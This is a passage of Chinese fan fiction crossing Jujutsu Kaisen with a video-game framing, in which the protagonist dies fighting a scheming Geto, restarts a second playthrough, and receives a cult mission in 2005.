羽取一真没有给他继续慢悠悠说下去的时间,而是双掌合拢,在那刻意漏出的些许空隙里,迅速完成压缩血液兼发射血箭的单体最高速攻击。 <赤血操术·百敛-穿血>! 面对疾驰而来的血箭,[夏油杰]仍旧轻描淡写的讲完了后半句话。 “可是会死在这里的喔。” 一只悠然游动在空中的半鱼半龙型诡异生物,环绕在[夏油杰]的身前,用其坚硬的鳞片挡下了这一击。 羽取一真皱了下眉毛,显然没想到还有咒灵会突然冒出来,主动挡枪。 但这跟最开始的血弹情况不同,他在那时没见到有咒灵出现。 “嗯?看来你不知道我的术式啊。” [夏油杰]倒是格外体贴的开始给他解释。 “这是我的术式[咒灵操术],具体效果是可以自由操纵被我降伏的咒灵,且数量没有上限。嗯,就像现在这样。” 在他说话的空挡,羽取一真看准时机,又发出一记特意瞄准咒灵没有保护位置的<赤血操术·百敛-穿血>,却再度被出现的第二只咒灵挡掉。 但这只的强度没有出现的第一只咒灵硬,和羽取一真发射出来的血箭同归于尽了。 按照[夏油杰]的这个术式介绍,他拥有的咒灵数量,绝对不止十几二十只。 放在其他游戏里,就意味着这是一个伤害刮痧也很难杀死的精英BOSS,因为他会不断召唤小怪过来给他挡攻击,打起来极其恶心。 羽取一真沉默着警惕片刻,看对方没有要反击的意思,便开口问道。 “在医院里的咒灵潮,也是你做的?” 这句话用了相当肯定的语气。 “嗯?差不多吧。” [夏油杰]拍了下手,越来越多的咒灵自墨笔划开的空间裂隙中出现,几乎要将这片空地占满。 “当时啊,为了防止留下咒力残秽,我还不得不解开术式支配,让它们恢复自由身来着。话说把它们投放到附近时,还必须先请人帮忙消除气息、进行驱赶,才能既在行动前隐藏得那么完美,又能目标明确的追逐手指而去呢。” “但你失败了。” 羽取一真语气冷冰冰的,压根不配合对方那貌似温和好说话的态度。 “不,是成功了。” [夏油杰]捏着下巴,饶有兴味的对羽取一真说道。 “能让虎杖悠仁吞下手指最好——但是,我并没有指望会在那里成功。” “我只是,想要先试探出你的战力极限而已。” 一次又一次的算计,只是为了最大程度的试探出,羽取一真到底能做到什么程度。 而此刻,一切准备就绪,他可以放心除掉对方了——在他的身份真正被调查出来前。 [狱门疆]是要用来对付五条悟的,根本不值得动用在这里。 目送扑上去的低阶咒灵被数道霰弹似的血珠穿透,[夏油杰]不为所动,只召唤出更多的咒灵。 “[赤血操术]被宣称是一个没有短板的术式,我当年也相信过这点。” ——他甚至还相当有余裕的解说起来。 “很可惜,那不过是加茂家的自吹自擂。而你又并没有随身携带血包的习惯,招数虽说新颖,但终归离不开自身血液的供给上限。” “而领域展开这类能够造成范围性杀伤的必中术式领域,你——还不会吧?” [夏油杰]确实将羽取一真的技能研究得极为透彻,一举一动皆只是为了耗空他的咒力。 [黑闪]! 羽取一真压低身体,游戏辅助下的出拳力道与速度既重又快,漆黑的闪电洪流嗡然鸣响其间。 “黑闪啊,我还挺佩服你能持续性使用它的。是找到什么特别的窍门了吗?” 但这记攻击仍然无效。 [夏油杰]根本不需要特意躲避,就会有数不清的咒灵出来替他抵挡,无论技能属于近战抑或远程,都根本伤不到这家伙。 而最后,还有羽取一真掌握的技能,勾选夏油杰发动的[戒禁取见]—— 【发动失败】。 游戏界面冰冷的提示道。 羽取一真清理那些咒灵的动作都停了片刻,有点难以相信这个结果。 这是个有概率失败的技能?不可能,介绍里没说。 见到那个扣起的手势,[夏油杰]的唇角反而流露出了然笑意。 “对我无效吗?也难怪呢,毕竟我如今的状态是特别的。” 咒灵仍旧一只接一只的自他身边冒出,旧的咒灵刚被祓除,落在地面化作飞灰,新的咒灵便立刻被补充上去,全部是为了消耗羽取一真而准备的低阶品。 纵使是攻击命中一次就能被杀死的低阶品,羽取一真需要消耗的血液量却是固定的——因为技能需要的咒力量是固定的。 羽取一真:“…………” 咒力量已经快到底了,刚才用的那记<赤血操术·超新星>能快速清场,但使用一次就需要消耗他物品栏里的大量【咒力结晶】来进行补充,还依旧无法击中那个[夏油杰],性价比实在不高。 羽取一真压低身体,面对这层层叠叠包围着的咒灵时,并没有显露出分毫慌乱。 即使再战斗中,他的头脑依旧保持着应有的冷静,在飞速思考该如何战胜这个不请自来的敌人。 他没想到这个游戏里的反派竟然会如此狡猾,甚至还知道针对他的技能来准备对策…! 而直到目前为止,他甚至还不清楚为什么刚才射向对方的血弹会消失。 羽取一真的直觉告诉他,搞明白这点很重要——但为什么很重要? 他的思维卡顿片刻,发现目前没有办法立刻搞清楚后,迅速转向另一个方向。 不对,血弹消失或许确实是个值得注意的点,但此刻的他搞错了真正的关键! ——他在这里杀死的咒灵,不会掉落【咒力结晶】。 不会掉落【咒力结晶】……就和上次在废弃医院里祓除[疱疮祸根]的现象如出一辙! 所以,那次也是对方提前安排的试探。 当时游荡在医院里的咒灵是属于对方的,而非无主的野怪。因此,它们才不会掉落【咒力结晶】。 既然[疱疮祸根]那次也是对方安排好的试探,不正意味着眼前这个家伙,竟然能在背地里指挥加茂长吉吗! 再结合他刚才说的话,似乎非常了解加茂家与其祖传术式[赤血操术]……- 掌控总监部的[那位]年龄很大,比很多高层的年龄都要大- 患者陷入不明原因昏迷的情况,从数十年前就开始了。 “原来,” 在又一记漆黑洪流的嗡鸣间,羽取一真冷静开口道。 “你就是给伏黑津美纪种下术式的人。” 他将这句判断说得极为笃定,在对方终于流露出诧异的表情里,得到了弹出在眼前的系统浮窗。 【当前隐藏委托:伏黑惠的忧虑,已完成。】 【奖励:获得技能<领域展开·归净身血>。】 第57章 “了不起啊, 你连这个也能调查出来。” 不知是出于条件反射,或是一种无意识的烦恼情绪发泄,[夏油杰]用拇指按了按额头——羽取一真顺着他的动作看去, 再度清晰见到了横踞于那处的缝合线。 是受过重伤, 大脑动了手术? 羽取一真脑中的猜测转瞬即逝,再度挥出一记消耗咒力量最低的[黑闪],与那群咒灵拉开距离。 他迅速浏览完这个领域展开的技能介绍。 【<领域展开·归净身血>:可将咒力量与体力值转换为一定封闭领域内的血海。在领域的持续时间内,血海将会对群体目标进行不间断的必中技能攻击,附带剧毒属性。】 【注意,发动该技能需要消耗巨量的咒力量与体力值。】 【当前所需的咒力量与体力值不足。】 而他目前的咒力量……还剩五分之一。 体力值的状态倒是要好上许多, 被[夏油杰]放出来的咒灵都是一触即溃,极少有能攻击到他的。 但羽取一真无法就此认定自己稳操胜券。 甚至, 他不能立刻暴露出来, 他拥有了领域展开这项终极杀招。 [夏油杰]似乎很热衷于嘲笑他, 反而让他知道了一条情报——[夏油杰]确定他不会领域展开。 既然敌人判断自己并不会领域展开, 那么羽取一真自然不能如此仓促的将保存在物品栏里的所有【咒力结晶】全部消耗干净,只为了使用一次领域展开。 何况, 还不能排除[夏油杰]也会领域展开的可能性。 悟特意教过他,如果对方展开领域时,最好的应对方式是己方也展开领域——届时就是生得术式、领域相性以及消耗咒力量的比拼,更占据优势的那方领域将会获得胜利。 而当时的他并不会领域展开, 所以悟说完这个后, 对他的叮嘱则是能结束战斗就尽快结束,千万不要给敌人展开领域的机会。 但眼下这种被敌人操纵咒灵围攻的情况, 显然不是能够立刻解决的…… 这个[夏油杰]的作战风格更是相当谨慎,始终在二人之间隔上许多咒灵,根本不会轻易靠近他。 看来, 对方也在防备他是否还留有后手。 羽取一真思索片刻,决定赌一把。 既然[夏油杰]对那晚在医院发生的事情了如指掌,那么他就会以为自己如果再使用出与那夜规模相当的<赤血操术·超新星>,将必然会陷入昏迷。 而他只要在选择的转换量上保留能够维持意识清醒的最低体力值,就能避免当时的情况。 物品栏里攒下来的【咒力结晶】,应该够他补充两次咒力量。 这一记攻击会被[夏油杰]认为是他最后的底牌,能杀死对方最好;纵使杀不死,也能清空包围着他的咒灵群,再佯装昏迷,令[夏油杰]掉以轻心。 至少目前这种打算慢慢将他耗时的局面,不能再继续下去了。 “你做了那么多事,为什么会自信别人调查不出来。” 羽取一真边出声呛他,边刻意压低身体,摆出好似准备彻底拼一把的架势—— 随即,被散在空中的大面积血珠如同疾驰骤雨,仅在原处凝固了眨眼功夫,便迅速朝四面八方的目标急射而去! 这些低阶的咒灵根本扛不住哪怕一颗血珠,悲鸣声此起彼伏,几乎是瞬息间便消散成灰。 纵然在这与清场无异的高输出技能下,挡在二人之间的咒灵越来越少,而那些没有被抵挡的血珠仍旧如坠在悬崖的瀑布,笔直朝[夏油杰]射去,誓要洞穿对方的躯体! ——好似响起了连空气也随之震动的嗡鸣。 与仅有一颗血弹的情况不同,这次,羽取一真看清楚了。 当那无数霰弹般的血珠即将击中[夏油杰]时,却好似受到了某种力量的影响,让它瞬间转为竖直朝地面下坠,将地面击出一圈深坑。 而他自身却毫发无损。 不过,或许是低阶咒灵同样被耗尽,也或许是他同样想要保存咒力,此刻的[夏油杰]身边什么也没有,仅他独自站着,朝羽取一真这边看来。 也就是说,他从一开始就有天克[赤血操术]的手段。 这种强行改变物体的轨道,却完全与地面垂直的重力操作…… 羽取一真的脚下踉跄两步,抬手撑着“眩晕不已”的脑袋,自五指间与他对峙的目光极冷。 “……虎杖香织?” 虎杖倭助只说她的术式与反重力有关,但羽取一真与五条悟朝夕相处这么久,自然知道有些术式并不如表面上看起来那么简单,一旦咒力逆转,表现形式会与咒力顺转截然相反。 五条悟的[苍]与[赫]就是很好的实例。 “嗯?他竟然连这个都告诉你了?” [夏油杰]这次是真的表现出相当惊讶的情绪。 “也不知道该说你运气好,还是观察力足够敏锐……幸好决定在这里除掉你了呢,在我计划里多余的家伙。” “我这边也是。” 羽取一真正要佯装昏迷,却发现[夏油杰]的动作慢条斯理,将双手的手背贴近、交叠,直至十指交错。 “这就是你最后的手段啊……” [夏油杰]微笑着对羽取一真开口道。 “你以为我会这么说,然后放松警惕,被你反杀吗?不,你还有余力——或者说,你还有补充咒力的手段。” “既然你想欺骗过我,那么我也礼尚往来,就用这个来收尾吧。啊虽说其实,最后都会走到这一步的,无论你想用什么战术来对付我,都是同样的结果。” 他低眉敛目,开口念出真正用来对付羽取一真的最后杀招。 “领域展开,[胎藏遍野]。” 好似凭空拔地而起的血泪佛陀,与无数扭曲的人面一道组成了株极疯狂且怪异的咒胎诡树,密密麻麻的哭嚎声尖利的传入耳中,却如同有重担陡然施加在身——甚至不断增加,仿佛要将他一直碾碎才会停止! 而此刻,他只能用领域来对抗领域。 羽取一真不再拖延,同样顺从系统的辅助技能释放,双手相叠、十指交叉,却是将掌心朝向自己。 就在拇指屈起,指节相贴的同时。 <领域展开·归净身血>,发动。 【注意,当前所需的咒力量与体力值不足。】 【是否使用物品栏内的咒力结晶补充咒力?】 【是/否。】 ——是。 意念落下的刹那间,羽取一真却咳出一口血。 紧接着,他感觉自己的眼睛酸涩,视野泛上暗红,有湿痕滑落面颊,随滴答声坠落地面。 “啊,你终于吃掉它了。” 他听见[夏油杰]在笑,声音却显得格外模糊而朦胧,好似被滤过了一层纱。 “我还以为你早就丢掉它了呢……好险好险,看来我模仿的还不算太失败。” 对方的笑声变得逐渐清晰起来,如同那份逐渐要压垮他的庞大重力。 “这样一来,我就能专心去对付五条悟了啊。” 这句话一出,羽取一真瞬间抬眼——哪怕早已辨不清视野的染血黑瞳,也依旧要死死盯紧对方。 “那么,” 他平淡开口,任由更多的血涌出喉咙。 “这个毒,你自己也来尝尝看吧。” 【注意,你已中毒,将会持续扣血。】 【注意,当前体力值过低!】 【是否取消<领域展开·归净身血>的技能发动,归还咒力量与体力值?】 【是/否。】 ……否。 “领域展开……归净身血。” 在视野彻底暗下去之前,羽取一真艰难吐出最后几个音节,看见无边无垠的血海包裹起整个空间,无数只仿佛自炼狱伸出的鬼手,不断将那道似乎想挣扎的身影往深处拖去。 敢算计漂亮大悟的家伙,他一个也不会放过。 随即,彻底清空的体力值使羽取一真眼前化为完全的黑暗,连半点声音也再不可能听见了。 ——他被踢出游戏,在现实世界里恢复了意识。 缓慢眨了下眼睛,望向窗外的风景,恍如隔世。 但羽取一真没有选择摘下游戏设备,而是立刻再度进入游戏。 【进入游戏成功……读取人物数据成功……读取自动存档……】 这款游戏没有玩家主动存档的选项,只有一条路走到黑的系统自动存档;不过放在以往时候,羽取一真退出游戏再进入时,时间点都是无缝衔接的。 而此刻,他的内心格外紧张。 到底是必须一条命通关的配置,还是他可以有条件的复活? 羽取一真正在等待游戏给出答案。 【读取自动存档成功……正在载入游戏……】 有戏! 但他还没来得及高兴,眼前却弹出了冰冷的血红字样。 【载入游戏失败,请重试。】 羽取一真愣了下,再度选择进入游戏。 【进入游戏成功……读取人物数据成功……读取自动存档失败。】 第三次。 【进入游戏成功……读取人物数据失败……读取自动存档失败。】 第四次。 【进入游戏成功,未检测到玩家的自动存档,本周目已结束。】 本周目已结束。 羽取一真盯着这行字,来回读了两遍,才确定自己并没有看错。 为什么就这样结束了……因为他成功反杀了那个反派吗? 他是最终BOSS吗? 羽取一真的目光长久落在[结束]这个单词上,如同审视着自身内心在此刻泛起的莫大怅然。 窗外的阳光正好,风吹得树叶沙沙作响,气温也很舒适。 ……不用收衣服了。 —————— 这里飘荡着浓重的锈蚀腥味。 它在倒下的肢体间蜿蜒流淌,交融成被踏出细碎声响的血泊,混着残缺的碎肉,埋葬任何足以支撑生命存活的微小痕迹。 杀戮是生物的本能。 是吞噬,是掠夺,是毁灭。 它同样是残酷,是麻木,是被暴怒与憎恶驱使的绝望,在漫长吊唁中安静的迈向凋亡。 “你、你竟敢……!” 那句嘶哑的声音没能吐出更多的话,便重重扑倒在地上,再也发不出任何训斥了。 那道颀长的身影,双手插兜,仍旧不紧不慢朝前方走去。 月光落在他的沾了血的纯白发梢,描摹着他的漠然眉眼,又给他的肩头披上一层朦胧的、残酷的冷晕。 “下一个。” 他自言自语道,“你们都是同谋啊。” 衣摆被风吹动些许,没人应答这句话。 ——唯有那最终化作漆黑的画面里,文字一行接一行地浮现又消失,宣告着此次迎来的结局。 【未来构拟崩溃度:90%。已超过上限。】 【数据封存开始。】 【数据转移开始。】 【——本周目结束。】 第58章 “怎么了, 羽取?一副精神很不好的样子啊。” 课间,御子柴实琴主动向羽取一真搭话。 他左右张望了下,确定没有同学注意到自己这边后, 还竖起手掌挡在嘴前, 悄悄问对方。 “昨晚打游戏太晚?” “…………” 羽取一真默默转头看向自己的好友,眼下是浅淡的青黑——乍一看表情里还带着点幽怨,把御子柴实琴吓一跳。 “是谈恋爱了。” 御子柴实琴:“哦……嗯?!” 御子柴实琴:“等下,你和谁?!我怎么一点消息都没有啊,还是说你和上次给你告白的良子……” 羽取一真幽幽道:“不,是游戏里的。” 御子柴实琴长舒一口气:“那挺正常的, 我在游戏里也谈过好多次刻骨铭心的恋爱嘛,还买她们的……咳咳。” “……这次不一样。” 羽取一真整个人都散发出格外郁卒的气息, 配上他那张总是没什么表情的脸, 硬是被偷偷瞄他的同班女生小声交换着“好酷哦”、“今天的冷漠系也超棒”、“和鹿岛同学是截然不同的类型呢”之类的交流意见。 但与喜欢和女孩子待在一起的超人气校园王子鹿岛游不同, 羽取一真更喜欢独来独往, 除了家里住得近兼同班同学的好友御子柴实琴外,几乎不会、也没兴趣跟人打交道, 被御子柴吐槽过好多次“你这家伙才是真正的性格孤僻啊”。 顺带一提,鹿岛游是如假包换的女性。 不过,就在他升入高二以后,所谓“独来独往”的现状确实是有点被改变了。 “呀两位, 在偷偷聊什么呢?” 伴随小声的惊呼, 校园王子鹿岛游闪亮登场。 她看着在说悄悄话的二人,也跟着弯下腰凑近时, 连脸上那份恰到好处的笑容也依旧是一如既往的超帅气。 “让我也听听看嘛。” 御子柴实琴瞬间哽住——他才不想要被别人知道自己喜欢打游戏的秘密啊!就算是他的好哥们鹿岛也不行! 连羽取一真也是因为同好……没错,因为对方是跟他一样的游戏同好,他才勉为其难地向对方敞开心怀、互换游戏感想的! 虽然羽取一真平时打的游戏类型, 和他这个纯粹的galgame(美少女游戏)党不怎么重合……但至少都是游戏嘛。 “没…没聊什么啦,只是看羽取昨晚没睡好的样子,关心一下而已。” 御子柴实琴磕巴了下,仓促间赶紧转移话题。 “哈……哈哈,怎么啦,来找我们一起上厕所?” 即使心理素质强大从容如鹿岛游,此刻也不禁无语了下。 就算外形再像男生,她也是要去上女厕所的,来找这两人一起去上厕所干什么啦。 “外面,小千代和野崎在找你喔。” 她指了指门口,“不知道有什么事情。” “噢噢,我想起来了!” 御子柴实琴道了声谢,拉起仍旧心情低落的羽取一真就往外面走。 “我之前不是说要给你介绍下我新认识的朋友嘛,来啦,过来。” 路过其中一张课桌时,还能听见有男生在围着手机看什么,隐约传来【信号】、【传闻】之类的字眼,羽取一真的黑瞳微动,只粗略扫向那边一眼,又继续被御子柴拉到了走廊。 “这就是我昨天提过的羽取一真啦,是不是超阴沉的?虽然脸长得好看,但基本没见他笑过哦,哪怕打you……咳咳,哪怕和有好感的类型在一起也不会笑来着。” 介绍起自己相识多年的好友时,御子柴实琴嘴快得险些脱口而出【打游戏】,幸好及时刹住了车,没有连带暴露出自己也是个御宅族。 “咦,有好感的类型也不会笑吗?” 其中一位个头娇小、长相相当可爱的女生开口,相当有活力的自我介绍道,“你好,我是佐仓千代!” “我是野崎,野崎梅太郎。”边上那位身形相当高大的男生也开口,声音沉稳。 “你们好。” 羽取一真沉默片刻,很认真的和佐仓千代解释。 “我和喜欢的人在一起,还是会笑的。” 跟悟待在一起时,都笑了不知道多少次……虽然大多数时候好像没有反应到脸上,但悟总能敏锐的感觉出来。 “咦,果然还是会的嘛。” 只会对喜欢的人露出笑容,哇,感觉更美好了…! 佐仓千代亮晶晶的眨巴了下眼,忍不住压低声音偷偷跟他打听。 “那羽取同学,你喜欢的人是谁呀?” 站在一旁的御子柴实琴和野崎梅太郎,也跟着竖起耳朵偷偷听。 “嗯……” 羽取一真想了想,简明扼要的对他们总结道。 “28岁,身高一米九以上,白发,有着像晴空一样的漂亮蓝瞳,笑起来和故意卖萌时都非常可爱,耍酷时也又帅又可靠,总之无论做什么都特别可爱的一位高专教师。” 听到呆住的三人:“…………” 御子柴实琴呆呆眨眼,难以置信羽取一真就这么把他在游戏里的恋爱对象直接描述出来了。 以及,他心里还有一句无法说出口的吐槽——果然这家伙还是喜欢白毛啊! “咦,欸……竟然是超有魅力的大姐姐系?” 听到这个年龄差,佐仓千代倒吸一口气,又莫名觉得……香香的。 好棒! 而且竟然比一米九的野崎同学还要高!岂不是比羽取同学还要高大半个脑袋呢! 感觉突然……变得更香了! “噢……” 野崎梅太郎倒是没发表什么评论,而是在小本子上奋笔疾书。 他在背地里的另一个身份,也是这次来见羽取一真的缘由——笔名为梦野咲子的他,会为新登场的漫画人物而到处搜集相关素材。 羽取一真皱了皱眉毛,正要和他们解释不是大姐姐,就被御子柴实琴眼疾手快,一下给他扒拉到自己身后。 “哈……哈哈,这家伙就是这样呢,平时闷不吭声的,偷偷摸摸的在背地里谈点超惊人的恋爱呢,哈哈……哈哈哈……要上课了就不聊啦!” 把羽取一真拉回教室角落里,御子柴实琴对着他恨铁不成钢,但还只能小声提醒。 “笨蛋,别跟人说咱们玩游戏的事情啊!” “…………” 羽取一真没有回应,看着他的表情很明显——这有什么不能说的? “你是不在乎和女孩子交流的,我还不想被她们用那种眼神看啦……真是,” 御子柴实琴抓着头发不知道该怎么跟羽取一真解释,索性在他点头后也不再追究了,转而关心起来。 “所以呢,这就是你精神不好的原因?攻略失败了?” “没有……”羽取一真停顿片刻,“我想,应该没有。” 他花了好几节课间,简略的和御子柴讲完前因后果,最后总结的口吻恹恹的,消极得要命。 “我进不去之前那个存档了,又不想重新开始。” “啊,我懂呢,和你度过那些时光的白毛老婆,已经最特殊的那个白毛老婆了,是不可替代的唯一。” 就算是由一堆代码写出来的数据,在经历过这么长时间的陪伴后,当然也值得他的好友为此付出全部的感情。 坐在椅子上的御子柴实琴双腿交叠,捏着下巴思考许久,问他。 “但听你这么说,对方的处境岂不是相当糟糕吗?有个藏得很深的幕后反派,一直在算计他。” 羽取一真愣了下,点头。 岂止是糟糕,甚至是被孤立、被贬低、被忌惮,几乎没拥有任何正面的情感投射。 “那我给出的建议啊,就是你再重新刷一遍游戏,哪怕不是同一个白毛老婆、不能再像一周目那样在一起也没关系。” 御子柴实琴睁大眼睛,认真看向羽取一真。 “而且,你自己不是也想这样做吗?所以才在为失恋而难过嘛。” “但失恋归失恋,还是不甘心让白毛老婆就那样被永远留在游戏里,独自面对所有恶意,对吧?无论是在现实里……还是那个虚拟世界里。” 再尝试一次二周目,不为攻略,只为打出一个好结局如何? 羽取一真的黑瞳微动,被完全说中了内心。 除此之外,同样很喜欢玩游戏的御子柴实琴给出了自己的猜测。 存档崩溃,会不会是因为羽取一真和反派同归于尽的这个结局,根本不在游戏的预定结局内,所以游戏运行不下去了。 也就是说……那段本来应该是剧情杀? 这句猜测实在很有道理,让羽取一真有点沉默,还有点不忿。 玩家凭本事打出来的提前反杀BOSS,游戏凭什么不认。 看看隔壁的《鬼泣5》,如果在序章直接杀掉原定的终极BOSS,就会获得一个名称是[见鬼了]的成就,然后直接通关。 但《咒术模拟器》这款游戏,明显并不是普通的线性剧情游戏或是动作冒险游戏,他要做的也并非单纯沉浸式的体验剧情,抑或是来一场超爽无负担的无双割草。 它太过真实,他也太过真实,让羽取一真彻底收起最初的单纯玩心,真正将精力尽数投入这款游戏…… 为了悟。 【二周目开始。】 【请选择开局时间。】 几行字迅速浮现在眼前又迅速消失,不再出现一周目被他跳过的文字介绍和新手教程,而是浮现出进入节点选项。 但【平成30年】这个他在一周目进入的节点,此刻是锁定的深灰色。 取而代之的是【平成17年】以及【平成元年】,颜色极为明亮。 其余的时间节点也不是没有,但都是黯淡的浅灰,一看就并非游戏强调的重要时间点。 羽取一真:“…………” 按照悟在平成30年自称的28岁推断,平成17年是公元2005年,悟在那年的生日之前,应该是15岁。 而【平成元年】……就是悟出生的1989年吧。 15岁的少年悟,和刚出生的婴儿悟。 羽取一真艰难纠结半晌,还是选择了【平成17年】。 敲定时间后的羽取一真没有再见到其余选项,眼前视野便迅速转黑,直至变幻成另一幅风景。 【进入游戏成功。】 ………… “就是这些,你记住了吗。” 眼前的中年男性身穿制式的白色长衣,袖口、领口以及拉链位置则纹了层铅灰的边。 坐在他对面的羽取一真抬眼望去,最惹人瞩目的莫过于对方的额头——好似长了颗巨大的肿瘤,突兀矗立在那里。 中年男性的身后还负手站着四位身穿同款制服的人员,表情明显要比他狂热许多。 “没有。” 羽取一真很诚实的摇头。 他一醒来就只听到这个人对他说“记住了吗”,那他当然是一个字也没记住。 而且,这次的他……羽取一真眼前是半透明的浮窗。 名称那栏目前是空白,年龄则标注为16岁。 不仅是游戏的二周目,他的身份、年龄乃至等级也被刷新了,全部从头开始。 “刚才在发呆吗你,” 那人揉了揉额角,显然对羽取一真半点也没听进去的表现感到烦躁。 “我愿意抚养你长大,可不是让你在这种关键时候拖我们后腿的。还是说,你想重新接受教育吗?” 在这周目,羽取一真的背景似乎被设定得更完整了——虽说他本人压根没收到任何相关介绍。 “…没有。” 而羽取一真这次决定认真探索游戏剧情,便没有做出任何异常的、或者说是太过玩家式的违反常理的行为,只先随口敷衍过去,好让这位看起来很有地位的中年男性能够继续透露信息。 这位中年男性听到羽取一真的回答,明显缓过气不少,但仍旧用极不耐烦、且相当居高临下的命令式口吻对他说道。 “很好,看来你终于学会了什么叫听话。现在呢,先记住你的名字是什么,来,复述一遍。” 【为本周目的您取一个名字:_______。请注意,点击确定之后,直至本周目的游戏结束,名字都无法进行二次变更,且具备对人员强制称呼效果。】 【请谨慎取名。】 游戏适时弹出这个浮窗,而羽取一真也很干脆,这次填上了自己的真名——羽取一真。 至少让这周目的五条悟,能直接喊出他的名字。 “羽取一真。” 关掉显示取名成功的弹窗,羽取一真开口答道。 “嗯,至少还记得这个假名。” 中年男性双手撑在桌面,上半身朝他略微前倾。 “现在给我记住了,你必须隐瞒自己身为【盘星教圣子】的身份,去【东京都立咒术高等专门学校】入学就读。目标则是,” “阻止预计在明年发生的,天元同化。” 【当前任务:阻止天元同化。】 【阻止天元同化:0/100%。】 第59章 天元同化…… 对羽取一真而言, 是一个完全陌生的词汇。 他只知道[天元]是个拥有不死术式的术师,目前好像在东京高专的某个地方深居简出——这还是悟之前和他随口提起的,完全没有详细解释。 而目前, 他的任务是阻止明年的天元同化。 还不能被东京高专那边发现他的身份, 说明高专那边的目标应该是让天元同化成功。 如果从一周目的东京高专教师的身份立场出发,羽取一真自然是支持高专这边的。 但他在这周目的身份很成问题,显然要比简单粗暴就上位成功的加茂家主要复杂得多——最关键的一点,他大概率要跟东京高专对着干。 至于眼前的这位中年男性……羽取一真打开【社交】界面扫了眼,显示为[园田茂]。 这个园田茂对自己的口吻相当严厉,半点也没有对待所谓【盘星教圣子】的尊敬。 当然, 这些都不是羽取一真目前在意的点。 他无比纠结的是——在一周目的那个时间点上,这个【天元同化】到底是成功了, 还是失败了? 糟糕, 一周目开场的剧情介绍全给跳了, 后来悟也没和他聊过这些。 等他二周目打算不跳过时, 偏偏游戏又不给他放了…… 但既然悟在高专,他就默认高专是正派, 那么,按照一般的剧情走向来说,[天元同化]的任务应该是成功了吧……? 他在二周目是反派阵营设定? 羽取一真敛眉思索片刻,又觉得这样的身份设计也不错。 开场直接打入反派阵营, 岂不是能更好地摸清那个状态奇奇怪怪的夏油杰、以及他同党的谋划? 既然如此, 他得低调行事。 “我知道了。” 羽取一真开口,接下了这个任务。 反正完不成也没有惩罚——这个念头刚冒出来, 他就听见园田茂继续说道。 “虽然我也没怎么指望你,但你最好记得自己已经定下了[束缚]。你们术师的[束缚],你自己最清楚会有什么后果。” 羽取一真:“…………” 不, 他不清楚。 但[束缚]显然生效了,因为他看见这个【阻止天元同化】的任务旁边多了个标注——【强制】。 算了,当反派走到黑也不是不行,反正他一周目的作风也挺像反派的。 “我知道了。” 羽取一真第二次应道,但换来了园田茂屈起指节,在桌面重重敲出两声冰冷的警告,给他纠正的口吻极为严厉。 “回[遵命],羽取一真。你到时在[那位大人]面前,也要这般毫无尊敬之意吗?” 羽取一真:“…………” 要不是为了搜集情报,好想现在就一枪干掉这家伙。 索性在羽取一真重新回复[遵命]后,对方没有继续惹怒他,而是驱赶似的挥了挥手,对身边一位女性说道。 “把他带下去吧。记得先不要让他去见信徒了,就在安排好的那个公寓里待着,等高专那边的老师来接他。” “恕我进言……园田大人,” 那位女性并没有立刻应是,而是颇为忧心的紧皱眉毛。 “他之前一直有在信徒面前露脸,就算现在伪造身份,送去高专执行计划……不用担心他的身份暴露后,对盘星教造成损失吗?” 羽取一真越听越有点无言。 对方这话听起来只在担心计划失败连累到盘星教,而非他身份暴露后的安危问题。 就这还能被称为【盘星教圣子】……根本毫无圣子地位可言。 转念一想,他又很快释然了。 算了,玩家就是这样的,开局能有几个好身份,基本都得靠自己一刀一枪的打拼出来。 “嗯,你的顾虑并非没有道理,毕竟我也一直没和你提过这点。” 园田茂十指交叉,态度比刚才对待羽取一真时明显要好上许多,甚至可以称得上和蔼。 “虽说我们仅是盘星教的分会——【星之子之家】,”他解释道。 “但无论如何,盘星教也是始于奈良时代的千年宗教,是当年天元大人给术师们划定各种道德标准、甚至牺牲自我来稳定世界后,知晓真相的非术师便自发聚成信仰天元大人的一个宗教组织。” “这千年来始终与咒术界的紧密链接,让我们从未失去联络另一侧世界的桥梁——至于那些多余的口耳,也总是会被轻易捂紧。” “你,懂我的意思吗?” 园田茂说得并不算隐晦,再加上一周目的经历,让羽取一真立刻就领悟到了对方的言外之意。 ——盘星教在咒术界高层里有人,他们会主动给他的假身份做遮掩。 面对目露恍然的那位女性,园田茂起身拍了拍她的肩膀。 “好了,现在放下心,把他带走吧。等之后,也只由你来负责跟他联络。虽说我们会有人帮忙,但也不能做的太明显。” 那位扎着低马尾的女性垂头应下,才过来示意羽取一真跟她走。 “天元大人的同化问题不容忽视,” 那位女性开车将羽取一真送到公寓楼下时,仍旧板着脸又向他强调一次。 “即使会长大人没对你抱有吸引信徒以外的期望,我也希望你能履行好这一职责,不要出错。” 见到眼前这位站在车外的黑发少年没什么反应,甚至连看向她的黑瞳也有点找不着落点的放空——他在走神? “你有听我说话吗?”她当即不满的皱眉道。 “抱歉,”那双黑瞳微微动了下,对准她时,却问出了与话题毫不相干的内容。 “我住在哪间?” 扎着低马尾的这位女性下意识“哈?”出了声。 “而且,我也没有钥匙。” 羽取一真对着这个在【社交】界面里显示为[酒见绫子]的女性摊开手,示意自己此刻的状态基本等于两袖清风。 “还没有生活费。” 他顺便强调道。 一周目的金币确实继承到二周目了,但他现在可没有收入来源,再加上挂靠了看起来很有钱的反派阵营,那不薅白不薅。 “…………” 酒见绫子堵着口气把羽取一真领到具体的公寓门口,又往他手里塞了把备用钥匙,最后用钱包里抽出一叠纸钞给他。 过两天,她还送来了一个文件袋和一部新手机——虽然按照这个时间点的科技发展,他只得到了一部功能还能落后的翻盖手机。 “有什么事就通过这个号码联络我,”酒见绫子说,“伪造好的身份在这里,背熟后记得烧掉。” “在这份资料里,你是父母双亡的孤儿,我是收养你的远房阿姨,但平时工作忙,不会跟你住一起。” “好。” 羽取一真点了下头,又尝试着打听道,“我一年都不用去见那些信徒,没关系吗?” “没什么,到时就说教祖大人自有安排,” 酒见绫子的语气相当敷衍,但好歹还算是多说了几句。 “本来也只是靠你的术式去伪装神迹,拉信徒入教供奉而已,现在就算耽搁一年也没什么,他们已经会自发去传教了。” 羽取一真:“…………” 果然,这宗教就不是什么好东西——而他这个【圣子】身份,也顶多唬一唬那些非核心人员而已。 本质上来讲,他在盘星教里的地位跟摆在公司门前的发财树、或是柜台上摇着前爪的招财猫相比,没有任何区别。 羽取一真还想再问点什么,但酒见绫子没有继续待在他公寓里的打算,随口又叮嘱两句把身份资料背熟,到时高专那边来接记得走,就匆匆离开了。 而再之后上门的,就是他在一周目的老熟人。 ——夜蛾正道。 